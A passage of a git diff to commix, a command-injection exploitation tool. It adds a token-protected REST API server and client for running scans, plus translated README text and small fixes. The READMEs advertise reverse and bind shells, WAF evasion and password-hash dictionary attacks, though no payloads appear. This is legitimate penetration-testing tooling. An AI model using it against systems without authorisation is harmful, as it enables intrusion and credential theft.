προσφέρεται εναντίον τους. * **Filter και WAF evasion** – συνδυάσιμα tamper scripts, που εφαρμόζονται με deterministic σειρά – δείτε [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). * **Targets σε κάθε μορφή** – URL, crawl, HTML forms, sitemap, OpenAPI (Swagger) description, proxy log, bulk file, raw HTTP request ή piped `stdin` – δείτε [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). -* **Resumable και scriptable** – [session files ανά target](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), output σε JSON/CSV/HAR, επαναχρησιμοποιήσιμα profiles επιλογών και το `--proof`, που επαληθεύει εκ νέου κάθε εύρημα με δικό του πείραμα. +* **Resumable και scriptable** – [session files ανά target](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), output σε JSON/CSV/HAR, επαναχρησιμοποιήσιμα profiles επιλογών, το `--proof`, που επαληθεύει εκ νέου κάθε εύρημα με δικό του πείραμα, και ένα [REST API](https://github.com/commixproject/commix/wiki/API) για να τρέχεις scans από αλλού. * **Unix-like και Windows** – PHP, Python, Perl, Ruby, ASP.NET, JSP και CGI back ends – δείτε το [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) για τις διαφορές στα payloads. diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 122ed40fa6..204ce2bc4a 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -41,7 +41,7 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp * **Dari bukti ke shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), mode bawaan `reverse_tcp` dan `bind_tcp` yang dapat ditingkatkan menjadi PTY penuh, transfer berkas, baca/tulis registry Windows, dan enumerasi hingga hash kata sandi, dengan serangan kamus yang ditawarkan terhadapnya. * **Pengelakan filter dan WAF** - skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik - lihat [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). * **Target dalam bentuk apa pun** - satu URL, penelusuran situs, formulir HTML, sitemap, deskripsi OpenAPI (Swagger), log proxy, berkas berisi banyak target, permintaan HTTP mentah, atau masukan `stdin` - lihat [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). -* **Dapat dilanjutkan dan diskripkan** - [berkas sesi per target](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), keluaran JSON/CSV/HAR, profil opsi yang dapat digunakan kembali, dan `--proof`, yang membuktikan kembali setiap temuan dengan percobaannya sendiri. +* **Dapat dilanjutkan dan diskripkan** - [berkas sesi per target](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), keluaran JSON/CSV/HAR, profil opsi yang dapat digunakan kembali, `--proof`, yang membuktikan kembali setiap temuan dengan percobaannya sendiri, dan sebuah [REST API](https://github.com/commixproject/commix/wiki/API) untuk menjalankan pemindaian dari tempat lain. * **Unix maupun Windows** - back-end PHP, Python, Perl, Ruby, ASP.NET, JSP dan CGI - lihat [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) untuk perbedaan muatannya. diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index bc62f4c317..6bdd7227bf 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -41,7 +41,7 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http * **Kanıttan kabuğa** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), tam PTY'ye yükseltilebilen yerleşik `reverse_tcp` ve `bind_tcp`, dosya aktarımı, Windows kayıt defteri okuma/yazma ve parola özetlerine kadar numaralandırma; bunlara karşı bir sözlük saldırısı da önerilir. * **Filtre ve WAF atlatma** - birlikte kullanılabilen tamper betikleri, belirlenimci bir sırayla uygulanır - bkz. [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). * **Her biçimde hedef** - bir URL, site taraması, HTML formları, sitemap, bir OpenAPI (Swagger) tanımı, proxy günlüğü, çoklu hedef dosyası, ham HTTP isteği veya `stdin` girdisi - bkz. [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). -* **Devam ettirilebilir ve betiklenebilir** - [hedef bazında oturum dosyaları](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), JSON/CSV/HAR çıktısı, yeniden kullanılabilir seçenek profilleri ve her bulguyu kendi deneyiyle yeniden kanıtlayan `--proof`. +* **Devam ettirilebilir ve betiklenebilir** - [hedef bazında oturum dosyaları](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), JSON/CSV/HAR çıktısı, yeniden kullanılabilir seçenek profilleri, her bulguyu kendi deneyiyle yeniden kanıtlayan `--proof` ve başka bir yerden tarama başlatmak için bir [REST API](https://github.com/commixproject/commix/wiki/API). * **Unix benzeri ve Windows** - PHP, Python, Perl, Ruby, ASP.NET, JSP ve CGI arka uçları - yüklerin nasıl farklılaştığı için bkz. [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance). diff --git a/setup.py b/setup.py index b4e1950fea..6211a224c4 100644 --- a/setup.py +++ b/setup.py @@ -53,7 +53,8 @@ ], entry_points={ 'console_scripts': [ - 'commix = src.core.main:entry_point' + 'commix = src.core.main:entry_point', + 'commixapi = src.utils.api:entry_point' ] }, ) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 1598a975d3..338405ee7e 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -863,6 +863,13 @@ def handle_exploitation_interrupt(filename, url): Connection exceptions """ def connection_exceptions(err_msg): + # A request that cannot be encoded is not a connection that failed: every retry builds the same + # one again, and the target never sees any of them. + if "codec can't encode" in str(err_msg): + error_msg = "Unable to build the request (" + str(err_msg) + "). An HTTP header carries only " + error_msg += "the characters the protocol can encode, so a value given with any other is never sent." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) requests.request_failed(err_msg) with settings.REQUESTS_LOCK: settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 4745f06463..e1a60e8931 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1701,7 +1701,9 @@ def do_check(url, http_request_method, filename): err_msg += "% of page content is text), together with no parameter found to be dynamic." if settings.MULTI_TARGETS: err_msg += " Skipping to the next target." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + # Said out loud as the verdict it is, but kept out of the report's errors: a run that tested + # everything it was asked to and found nothing is a run that worked. + settings.print_data_to_stdout(settings.print_critical_msg(err_msg, record=False)) if not settings.MULTI_TARGETS: # What the run produced is written even where it found nothing: the traffic it sent and the # report of it are the output of a run that came up empty just as much as of one that did not, diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 2556363721..fd0a5046ae 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -736,7 +736,7 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): if not checks.boolean_oracle_given(): # A false answer that reads exactly like the page the parameter's own value returns means the # payload changed nothing at all, whatever the two probes look like beside each other. - if checks.comparable_page(page_false or "") == checks.comparable_page(settings.ORIGINAL_PAGE or ""): + if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_false or "") == checks.comparable_page(settings.ORIGINAL_PAGE or ""): return None # These two pages are what says which answer is which, so the target teaches the oracle first. if not checks.calibrate_boolean_oracle(page_true, page_false, code_true, code_false): diff --git a/src/core/main.py b/src/core/main.py index 2b1e38c2c8..f0cc1afffa 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -1248,4 +1248,30 @@ def _dedupe_lazy(iterable): except SystemExit as err_msg: raise checks.exit(err_msg.code) +""" +A run, including the ways it can end. + +Named here rather than left in 'commix.py', because an installed 'commix' command never reads that +file - the two would otherwise be the same program ending in two different ways. +""" +def entry_point(): + try: + run() + except SystemExit as err_msg: + # Raised as it was given: a caller that reads the exit code is told whether the run ended the + # way it meant to, and a bare one is zero as it always was. + from src.utils import logs + logs.finalize_report(err_msg.code) + raise SystemExit(err_msg.code) + except KeyboardInterrupt: + raise SystemExit() + except IndentationError as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + except: + from src.utils import common + from src.utils import logs + logs.finalize_report(settings.EXIT_FAILURE) + common.unhandled_exception() + # eof diff --git a/src/core/techniques/tempfile_based/tfb_handler.py b/src/core/techniques/tempfile_based/tfb_handler.py index 49520244b9..d25657a4c9 100755 --- a/src/core/techniques/tempfile_based/tfb_handler.py +++ b/src/core/techniques/tempfile_based/tfb_handler.py @@ -93,8 +93,10 @@ def _calibrate_file_oracle(separator, prefix, suffix, whitespace, http_request_m page_true, code_true, vuln_parameter, prefix, suffix, reported_payload_true = bb_injector.page_of(payload_true, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) page_false, code_false, vuln_parameter, prefix, suffix, _ = bb_injector.page_of(payload_false, prefix, suffix, whitespace, http_request_method, url, vuln_parameter) # A false answer that reads exactly like the unmodified page means the payload changed nothing - # at all, whatever the two probes look like beside each other. - if checks.comparable_page(page_false or "") == checks.comparable_page(settings.ORIGINAL_PAGE or ""): + # at all - but only where nothing is ever printed either way (the bare test). The shape that + # prints a marker on a true answer is built so the false answer looks like that same baseline + # on purpose, so this would throw away the one signal it is there for. + if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_false or "") == checks.comparable_page(settings.ORIGINAL_PAGE or ""): continue if not checks.calibrate_boolean_oracle(page_true, page_false, code_true, code_false): continue diff --git a/src/utils/api.py b/src/utils/api.py new file mode 100644 index 0000000000..10587d2c18 --- /dev/null +++ b/src/utils/api.py @@ -0,0 +1,662 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import io +import os +import re +import sys +import json +import signal +import shutil +import secrets +import tempfile +import subprocess +import contextlib + +from http.server import BaseHTTPRequestHandler +from http.server import ThreadingHTTPServer +from urllib import parse as _urlparse +from urllib import request as _urlrequest +from optparse import OptionValueError + +from src.utils import settings + +""" +The parser is read for what the options are and what they are worth, which is what lets a request +name them the way a command line does. + +Read behind an empty command line, and with its output held back: the module settles a run of its +own on the way in, and left as it is would read the server's own arguments as though they had been +meant for a scan, and print the banner one starts with. +""" +_argv = sys.argv +try: + sys.argv = sys.argv[:1] + with contextlib.redirect_stdout(io.StringIO()): + from src.core.parse import cmdline as menu + from src.core.parse import configfile + from src.utils import common +finally: + sys.argv = _argv + +""" +What the server answers to, and what it answers with. +""" +API_VERSION = "1.0" +TASK_ID_BYTES = 8 +LOG_LINE_REGEX = re.compile(r"^\[(?P<time>\d{2}:\d{2}:\d{2})\]\s+\[(?P<level>[a-z]+)\]\s+(?P<message>.*)$") + +""" +Every name an option answers to: where it is kept, and every spelling the command line takes. + +Twelve of them are not the same word - '--user-agent' is kept as 'agent', '--technique' as 'tech' - +and a request is free to name either, rather than having to know which of the two this one is. +""" +_OPTION_NAMES = {} + +def _option(name): + if not _OPTION_NAMES: + for option_list in [menu.parser.option_list] + [group.option_list for group in menu.parser.option_groups]: + for option in option_list: + if not option.dest: + continue + for spelling in [option.dest] + option._long_opts + option._short_opts: + _OPTION_NAMES.setdefault(spelling.lstrip("-").replace("-", "_"), option) + return _OPTION_NAMES.get(name) + +""" +One scan, from the options it was given to the process running them and the files it leaves behind. +""" +class Task(object): + def __init__(self, taskid, directory): + self.taskid = taskid + self.directory = directory + self.options = menu.parser.get_default_values().__dict__.copy() + self.process = None + self.config_file = os.path.join(directory, "options.ini") + self.report_file = os.path.join(directory, "report.json") + self.console_file = os.path.join(directory, "console.log") + self.output_dir = os.path.join(directory, "output") + + """ + Settle one option, by the name the command line knows it as. + """ + def set_option(self, name, value): + option = _option(name.strip().lstrip("-").replace("-", "_")) + if option is None: + return "Unknown option '" + str(name).strip() + "'." + # Checked here rather than left for the run to refuse: a value the parser would not have taken + # is a request that did not do what it was told it did. + if option.action == "store" and not isinstance(value, bool) and value is not None: + try: + value = option.convert_value((option._long_opts + option._short_opts)[0], str(value)) + except OptionValueError as err_msg: + return str(err_msg).replace("option ", "The option ", 1).rstrip(".") + "." + self.options[option.dest] = value + return None + + """ + Run commix over what has been set, as a process of its own. + + Of its own, because a run is settled in module-level state that is written once and read + everywhere - two of them in one process would be one run with two sets of answers. + """ + def start(self): + values = menu.parser.get_default_values() + for name, value in self.options.items(): + setattr(values, name, value) + # The three the server decides for itself: a task reads its own report, keeps its own output, + # and is never waited on for an answer nobody is there to type. + values.report_json = self.report_file + values.output_dir = self.output_dir + values.batch = True + with contextlib.redirect_stdout(io.StringIO()): + configfile.save(menu.parser, values, self.config_file) + command = _commix_command() + ["-c", self.config_file] + # Kept rather than thrown away: what the run says as it goes is what '/scan/<id>/log' hands back, + # and the run's own log file is a report of what was found, not a record of the going. + console = open(self.console_file, "wb") + self.process = subprocess.Popen(command, cwd=_commix_directory(), stdout=console, + stderr=subprocess.STDOUT, close_fds=not settings.IS_WINDOWS) + console.close() + + """ + Whether the process is still going, and what it ended with where it is not. + """ + def returncode(self): + if self.process is None: + return None + return self.process.poll() + + """ + Ask the run to stop, so that it writes down what it has before it goes. + """ + def stop(self): + if self.process is None or self.process.poll() is not None: + return False + self.process.send_signal(signal.SIGTERM) + return True + + """ + End the process where asking did not. + """ + def kill(self): + if self.process is None or self.process.poll() is not None: + return False + self.process.kill() + return True + + """ + The report as it stands - a run still going writes it as it goes, so there is one either way. + """ + def data(self): + try: + with open(self.report_file, encoding=settings.DEFAULT_CODEC) as report: + return json.load(report) + except (IOError, OSError, ValueError): + return None + + """ + The run's own log, as lines with the level each was printed at. + """ + def log(self, start=None, end=None): + lines = [] + try: + with open(self.console_file, encoding=settings.DEFAULT_CODEC, errors="replace") as console: + for line in console: + match = LOG_LINE_REGEX.match(settings.strip_ansi_codes(line).rstrip()) + if match: + lines.append(match.groupdict()) + except (IOError, OSError): + return [] + return lines[start:end] if (start is not None or end is not None) else lines + +""" +Where commix itself is, as seen from wherever the server was started. +""" +def _commix_directory(): + return os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +def _commix_command(): + beside = os.path.join(_commix_directory(), settings.APPLICATION + ".py") + if os.path.isfile(beside): + return [sys.executable or "python", beside] + # Installed rather than checked out: there is no file to hand the interpreter, and the command + # that was installed alongside this one is what a run is started as. + installed = shutil.which(settings.APPLICATION) + if installed: + return [installed] + raise RuntimeError("Unable to find " + settings.APPLICATION + " to run.") + +""" +Every task this server has been asked to keep, and the word that has to be shown to reach them. +""" +class Store(object): + tasks = {} + token = "" + directory = "" + +""" +Take back the tasks of a server that has been restarted. + +Their directories are what a task really is - the options it was given, what the run said and what +it found. Left unread, a client holding a task id is told there is no such task while all of it is +still on disk. +""" +def recover(): + if not os.path.isdir(Store.directory): + return 0 + for name in sorted(os.listdir(Store.directory)): + directory = os.path.join(Store.directory, name) + if name in Store.tasks or not re.match(r"^[0-9a-f]+$", name) or not os.path.isdir(directory): + continue + task = Task(name, directory) + if os.path.isfile(task.config_file): + values = menu.parser.get_default_values() + try: + with contextlib.redirect_stdout(io.StringIO()): + configfile.load(menu.parser, values, task.config_file) + task.options = values.__dict__.copy() + except SystemExit: + pass + Store.tasks[name] = task + return len(Store.tasks) + +""" +Take a task out of the store, after making sure nothing of it is still running. +""" +def _forget(taskid): + task = Store.tasks.pop(taskid, None) + if task is not None: + task.kill() + +""" +The routes, as (method, pattern, handler-name) - matched in order, first one wins. +""" +ROUTES = ( + ("GET", r"^/version$", "version"), + ("GET", r"^/task/new$", "task_new"), + ("GET", r"^/task/(?P<taskid>[0-9a-f]+)/delete$", "task_delete"), + ("GET", r"^/admin/list$", "admin_list"), + ("GET", r"^/admin/flush$", "admin_flush"), + ("GET", r"^/option/(?P<taskid>[0-9a-f]+)/list$", "option_list"), + ("POST", r"^/option/(?P<taskid>[0-9a-f]+)/get$", "option_get"), + ("POST", r"^/option/(?P<taskid>[0-9a-f]+)/set$", "option_set"), + ("POST", r"^/scan/(?P<taskid>[0-9a-f]+)/start$", "scan_start"), + ("GET", r"^/scan/(?P<taskid>[0-9a-f]+)/stop$", "scan_stop"), + ("GET", r"^/scan/(?P<taskid>[0-9a-f]+)/kill$", "scan_kill"), + ("GET", r"^/scan/(?P<taskid>[0-9a-f]+)/status$", "scan_status"), + ("GET", r"^/scan/(?P<taskid>[0-9a-f]+)/data$", "scan_data"), + ("GET", r"^/scan/(?P<taskid>[0-9a-f]+)/log$", "scan_log"), +) + +""" +What every endpoint answers with, so that a client reads one shape whatever it asked for. +""" +def _ok(**fields): + answer = {"success": True} + answer.update(fields) + return 200, answer + +def _no(message, code=200): + return code, {"success": False, "message": message} + +""" +One request, answered. + +Held apart from the HTTP of it so that what each endpoint does is readable on its own, and so the +same calls can be made from a test without a socket in the way. +""" +class Api(object): + def version(self, **_): + return _ok(version=settings.VERSION, api=API_VERSION) + + def task_new(self, **_): + taskid = secrets.token_hex(TASK_ID_BYTES) + directory = os.path.join(Store.directory, taskid) + os.makedirs(directory) + Store.tasks[taskid] = Task(taskid, directory) + return _ok(taskid=taskid) + + def task_delete(self, taskid=None, **_): + if taskid not in Store.tasks: + return _no("Unknown task.") + _forget(taskid) + return _ok() + + def admin_list(self, **_): + tasks = {} + for taskid, task in Store.tasks.items(): + tasks[taskid] = _status_of(task) + return _ok(tasks=tasks, count=len(tasks)) + + def admin_flush(self, **_): + for taskid in list(Store.tasks): + _forget(taskid) + return _ok() + + def option_list(self, taskid=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + return _ok(options=task.options) + + def option_get(self, taskid=None, body=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + wanted = (body or {}).get("option") + if not wanted: + return _no("No option named.") + option = _option(str(wanted).strip().lstrip("-").replace("-", "_")) + if option is None: + return _no("Unknown option '" + str(wanted) + "'.") + return _ok(**{option.dest: task.options[option.dest]}) + + def option_set(self, taskid=None, body=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + if not isinstance(body, dict) or not body: + return _no("No options given.") + if task.returncode() is None and task.process is not None: + # Refused rather than kept: the running scan was handed its options when it started, so one + # set now would read as having changed something it cannot reach. + return _no("That scan is running, and a scan is given its options once, when it starts.") + for name, value in body.items(): + refused = task.set_option(name, value) + if refused: + return _no(refused) + return _ok() + + def scan_start(self, taskid=None, body=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + if task.returncode() is None and task.process is not None: + return _no("That scan is already running.") + for name, value in (body or {}).items(): + refused = task.set_option(name, value) + if refused: + return _no(refused) + if not any(task.options.get(_) for _ in ("url", "logfile", "bulkfile", "requestfile", "sitemap_url", "openapi")): + return _no("Nothing to scan: none of 'url', 'logfile', 'bulkfile', 'requestfile', 'sitemap_url' or 'openapi' was set.") + task.start() + return _ok(engineid=task.process.pid) + + def scan_stop(self, taskid=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + return _ok(stopped=task.stop()) + + def scan_kill(self, taskid=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + return _ok(killed=task.kill()) + + def scan_status(self, taskid=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + return _ok(**_status_of(task)) + + def scan_data(self, taskid=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + report = task.data() + if report is None: + return _ok(data={}, error=[]) + # A run over several targets keeps each one's errors with that target; gathered here, so that + # 'error' says the same thing whichever shape the report took. + errors = report.get("errors") + if errors is None: + errors = [issue for target in report.get("targets", []) for issue in target.get("errors", [])] + return _ok(data=report, error=errors) + + def scan_log(self, taskid=None, query=None, **_): + task = Store.tasks.get(taskid) + if task is None: + return _no("Unknown task.") + start, end = _bounds(query or {}) + return _ok(log=task.log(start, end)) + +""" +Where a run has got to, said the same way whether it is going, gone, or never started. +""" +def _status_of(task): + returncode = task.returncode() + if task.process is None: + # A task read back off disk has no process of its own, but the run it belongs to left its word + # for how it ended. + return {"status": (task.data() or {}).get("status") or "not started", "returncode": None} + if returncode is None: + return {"status": settings.REPORT_STATUS_RUNNING, "returncode": None} + state = (task.data() or {}).get("status") + if not state or state == settings.REPORT_STATUS_RUNNING: + # The process is gone while its report still says it is going: it ended without the chance to + # write one down, which is what a signal it cannot answer does to it. + if returncode < 0: + state = "killed" + else: + state = settings.REPORT_STATUS_COMPLETED if not returncode else settings.REPORT_STATUS_FAILED + return {"status": state, "returncode": returncode} + +""" +The slice of the log a request asked for, where it asked for one. +""" +def _bounds(query): + def _number(name): + try: + return int(query[name][0]) + except (KeyError, IndexError, ValueError): + return None + return _number("start"), _number("end") + +""" +The HTTP in front of the endpoints above. +""" +class Handler(BaseHTTPRequestHandler): + server_version = settings.APPLICATION + "/" + str(settings.VERSION) + api = Api() + + # Nothing to a terminal: a server that narrates every poll buries what it was asked to say. + def log_message(self, *args): + pass + + def do_GET(self): + self._dispatch("GET") + + def do_POST(self): + self._dispatch("POST") + + """ + Find the endpoint the request named, check it is allowed to ask, and answer it. + """ + def _dispatch(self, method): + parsed = _urlparse.urlparse(self.path) + for route_method, pattern, name in ROUTES: + match = re.match(pattern, parsed.path) + if not match: + continue + if route_method != method: + return self._answer(*_no("That address is not asked this way.", code=405)) + if name != "version" and not self._permitted(): + return self._answer(*_no("Wrong or missing API token.", code=401)) + try: + code, answer = getattr(self.api, name)(body=self._body(), query=_urlparse.parse_qs(parsed.query), + **match.groupdict()) + except Exception as err_msg: + code, answer = _no(str(err_msg), code=500) + return self._answer(code, answer) + self._answer(*_no("No such address.", code=404)) + + """ + The token, as the client was told to send it. + """ + def _permitted(self): + return secrets.compare_digest(str(self.headers.get("X-Api-Token", "")), Store.token) + + """ + The JSON a POST carried, or nothing where it carried none. + """ + def _body(self): + try: + length = int(self.headers.get("Content-Length") or 0) + except ValueError: + return None + if length <= 0: + return None + try: + return json.loads(self.rfile.read(length).decode(settings.DEFAULT_CODEC)) + except (ValueError, UnicodeDecodeError): + return None + + def _answer(self, code, answer): + body = json.dumps(answer, indent=2, ensure_ascii=False).encode(settings.DEFAULT_CODEC) + self.send_response(code) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + +""" +Serve the API until it is stopped. +""" +def server(host, port, token=None, directory=None): + Store.token = token or secrets.token_hex(16) + Store.directory = directory or tempfile.mkdtemp(prefix=settings.APPLICATION + "-api-") + if not os.path.isdir(Store.directory): + os.makedirs(Store.directory) + + taken_back = recover() + + httpd = ThreadingHTTPServer((host, port), Handler) + info_msg = "Serving the " + settings.APPLICATION + " API at 'http://" + host + ":" + str(httpd.server_port) + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + info_msg = "Tasks are kept under '" + Store.directory + "'" + info_msg += ("." if not taken_back else ", where " + str(taken_back) + " of them were already.") + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + info_msg = "Send the token '" + Store.token + "' as the 'X-Api-Token' header." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: + httpd.serve_forever() + except KeyboardInterrupt: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + finally: + for taskid in list(Store.tasks): + _forget(taskid) + httpd.server_close() + +""" +The commands a client understands, and what each one says it does. +""" +CLIENT_COMMANDS = ( + ("new", "Make a task and use it from here on"), + ("use <taskid>", "Work on a task that already exists"), + ("set <option> <value>", "Set an option on the task in use"), + ("options", "Show every option of the task in use that is set"), + ("start", "Start the task's scan"), + ("status", "Say where the scan has got to"), + ("data", "Show what the scan has found"), + ("log", "Show what the scan has said"), + ("stop", "Ask the scan to stop, keeping what it found"), + ("kill", "End the scan's process outright"), + ("list", "Show every task the server holds"), + ("flush", "Forget all of them"), + ("exit", "Leave"), +) + +""" +Talk to a server from a terminal. + +The same addresses, asked for by hand - which is what makes a server worth having a look at before +anything is written against it. +""" +def client(host, port, token): + base = "http://" + host + ":" + str(port) + + # One request, and the answer it gave, or what went wrong instead of one. + def ask(path, body=None): + request = _urlrequest.Request(base + path, method="POST" if body is not None else "GET") + request.add_header("X-Api-Token", token or "") + data = None + if body is not None: + data = json.dumps(body).encode(settings.DEFAULT_CODEC) + request.add_header("Content-Type", "application/json") + try: + with _urlrequest.urlopen(request, data, timeout=30) as answer: + return json.loads(answer.read().decode(settings.DEFAULT_CODEC)) + except Exception as err_msg: + return {"success": False, "message": str(err_msg)} + + hello = ask("/version") + if not hello.get("success"): + err_msg = "Unable to reach a " + settings.APPLICATION + " API server at '" + base + "' (" + str(hello.get("message")) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + info_msg = "Talking to " + settings.APPLICATION + " " + str(hello.get("version")) + " at '" + base + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + menu.print_module_table("Available Commands", [(name, what) for name, what in CLIENT_COMMANDS]) + + taskid = None + while True: + try: + line = common.read_input(settings.APPLICATION + "-api > ", default="", check_batch=False) + except (KeyboardInterrupt, EOFError): + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + break + words = str(line or "").split() + if not words: + continue + command, rest = words[0].lower(), words[1:] + if command in ("exit", "quit"): + break + if command == "new": + answer = ask("/task/new") + taskid = answer.get("taskid") or taskid + elif command == "use" and rest: + taskid = rest[0] + answer = ask("/option/" + taskid + "/list") + answer = {"success": answer.get("success"), "taskid": taskid} if answer.get("success") else answer + elif command == "list": + answer = ask("/admin/list") + elif command == "flush": + answer = ask("/admin/flush") + elif taskid is None: + answer = {"success": False, "message": "No task in use - 'new' makes one, 'use <taskid>' takes one."} + elif command == "set" and len(rest) > 1: + answer = ask("/option/" + taskid + "/set", {rest[0]: _typed(" ".join(rest[1:]))}) + elif command == "options": + answer = ask("/option/" + taskid + "/list") + if answer.get("success"): + # Only what was settled: every option it does not name is what it was already worth. + answer = {"success": True, "options": {name: value for name, value in answer["options"].items() if value not in (None, False, "", 0)}} + elif command == "start": + answer = ask("/scan/" + taskid + "/start", {}) + elif command in ("status", "data", "log", "stop", "kill"): + answer = ask("/scan/" + taskid + "/" + command) + else: + answer = {"success": False, "message": "No such command - 'exit' leaves."} + settings.print_data_to_stdout(json.dumps(answer, indent=2, ensure_ascii=False) + "\n") + +""" +A value typed at a prompt, as the thing it reads as rather than always as text. +""" +def _typed(value): + if value.lower() in ("true", "false"): + return value.lower() == "true" + try: + return int(value) + except ValueError: + return value + +""" +Read what the server was asked for, and serve it. +""" +def entry_point(): + from optparse import OptionParser + parser = OptionParser(usage="python " + settings.APPLICATION + "api.py [option(s)]") + parser.add_option("-s", "--server", action="store_true", dest="server", default=False, + help="Run as a REST API server (the default).") + parser.add_option("-c", "--client", action="store_true", dest="client", default=False, + help="Run as a REST API client, against a server already serving.") + parser.add_option("-H", "--host", dest="host", default="127.0.0.1", + help="Address to listen on (Default: '127.0.0.1').") + parser.add_option("-p", "--port", dest="port", type="int", default=8775, + help="Port to listen on (Default: 8775).") + parser.add_option("--token", dest="token", default=None, + help="Token a request has to carry (Default: one made up per run).") + parser.add_option("--tasks-dir", dest="tasks_dir", default=None, + help="Directory to keep each task's options, output and report in.") + (options, _) = parser.parse_args() + if options.server and options.client: + err_msg = "The options '-s' and '-c' cannot be used together: a run is one or the other." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + try: + if options.client: + client(options.host, options.port, options.token) + else: + server(options.host, options.port, options.token, options.tasks_dir) + except KeyboardInterrupt: + raise SystemExit() + except Exception as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg))) + raise SystemExit(settings.EXIT_FAILURE) + +# eof diff --git a/src/utils/logs.py b/src/utils/logs.py index 5a6c50a617..e8e0f6af76 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -132,6 +132,13 @@ def create_log_file(url, output_dir): filename = os.path.abspath(filename) if menu.options.report_json: + # Only a report that belongs to a target of its own is kept; the one opened as the run began + # stands for no target yet, and is written over rather than collected. + if _REPORT_HELD_A_TARGET[0] and report_active() and settings.REPORT_JSON.get("target"): + finished = settings.REPORT_JSON + finished.setdefault("status", settings.REPORT_STATUS_COMPLETED) + finished.setdefault("finished", str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S")) + settings.REPORT_TARGETS.append(finished) settings.REPORT_JSON = { "target": url, "http_method": http_request_method, @@ -139,6 +146,7 @@ def create_log_file(url, output_dir): "started": started, "status": settings.REPORT_STATUS_RUNNING, } + _REPORT_HELD_A_TARGET[0] = True flush_report() return filename @@ -195,12 +203,31 @@ def flush_report(): Written beside it and renamed over it, rather than into it: a report is rewritten from the top every time it grows, and a reader watching it would otherwise be free to read it halfway through one. """ +""" +Whether a report has been opened for a target of its own yet, rather than only for the run. +""" +_REPORT_HELD_A_TARGET = [False] + +def _report_document(): + if not settings.REPORT_TARGETS: + return settings.REPORT_JSON + targets = list(settings.REPORT_TARGETS) + if settings.REPORT_JSON: + targets.append(settings.REPORT_JSON) + return { + "targets": targets, + "started": 